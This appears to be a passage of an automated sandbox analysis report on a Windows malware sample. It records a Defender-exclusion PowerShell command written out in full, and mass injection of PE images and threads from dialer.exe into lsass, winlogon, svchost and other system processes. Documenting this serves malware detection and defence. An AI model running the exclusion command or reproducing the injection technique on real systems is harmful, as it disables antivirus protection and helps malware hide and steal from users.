Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3E07D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	55_2_0000025CE3E07D90
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000002623898D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	56_2_000002623898D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_0000026238987D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	56_2_0000026238987D90
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002786E597D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	57_2_000002786E597D90
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002786E59D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	57_2_000002786E59D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_000001611FFAD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	58_2_000001611FFAD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_000001611FFA7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	58_2_000001611FFA7D90
Source: C:\Windows\System32\svchost.exe	Code function: 59_2_0000027C0F38D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	59_2_0000027C0F38D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 59_2_0000027C0F387D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	59_2_0000027C0F387D90

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1E858950000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 140ADFC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195DD590000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 1160C9B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1E8589B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 140AE890000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195DE1A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 1160C9E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 257E1070000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F28C1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CA97FD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2652E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 254A27A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24B87DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 205FB3C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A205670000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 18EC1F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 25CE3BC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26238950000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2786E560000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1611FF70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27C0F350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B279570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E70A460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22D13110000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22C8C580000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2825F1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AA5D9C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20BAEC90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2DC1B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C782530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: A60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24066EB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A3FD9A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 181CEDB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A142790000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195B6F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1428DCA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DBF9DB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D76CCC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A239D90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17CFA390000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23FB7270000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DF53B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 164E88A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 25177B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28D5D340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 24EB5E10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20859990000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F153C20000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D241D40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 16FADAD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 20E03070000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15204DB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 11C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 175C5280000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 1CE76AA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22EF1B30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 261DE4D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 22E74520000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 1B1A9D00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 217AF8C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 226D8930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13E5E930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F844120000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27234C50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28543540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 2B684340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1CE69900000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 29283380000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 193FA700000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1CBD1BD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28A84D30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 28571390000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2551B760000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 20C383F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 20C38E60000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 14_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

14_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 5895273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: ADFC273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: DD59273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 589B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AE89273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DE1A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C9E273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: E107273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8C1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 97FD273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 652E273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A27A273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 87DA273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: FB3C273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 567273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C1F3273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: E3BC273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 3895273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6E56273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 1FF7273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F35273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7957273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A46273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1311273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8C58273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5F1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5D9C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AEC9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DC1B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8253273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 66EB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FD9A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CEDB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4279273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B6F3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8DCA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7373273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F9DB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6CCC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 39D9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FA39273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B727273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 53B5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E88A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 77B5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5D34273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B5E1273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5999273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 53C2273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 41D4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: ADAD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 307273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4DB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 11C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C528273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 76AA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F1B3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F34F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DE4D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7452273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A9D0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AF8C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D893273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5E93273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4412273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 97E3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DC87273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 698D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 34C5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4354273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8434273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5892273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6990273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8338273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FA70273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D1BD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 84D3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7139273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1B76273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 383F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 38E6273C

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E858950000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140ADFC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DD590000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160C9B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E8589B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140AE890000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DE1A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160C9E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257E1070000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F28C1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CA97FD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2652E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 254A27A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24B87DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 205FB3C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A205670000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18EC1F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25CE3BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26238950000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2786E560000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1611FF70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C0F350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B279570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E70A460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22D13110000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C8C580000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2825F1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AA5D9C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20BAEC90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2DC1B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C782530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: A60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24066EB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A3FD9A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 181CEDB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A142790000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195B6F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DCA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DBF9DB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D76CCC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A239D90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17CFA390000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FB7270000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF53B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 164E88A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25177B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28D5D340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 24EB5E10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20859990000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F153C20000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D241D40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16FADAD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 20E03070000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15204DB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 11C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 175C5280000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1CE76AA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22EF1B30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 261DE4D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 22E74520000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1B1A9D00000 value starts with: 4D5A
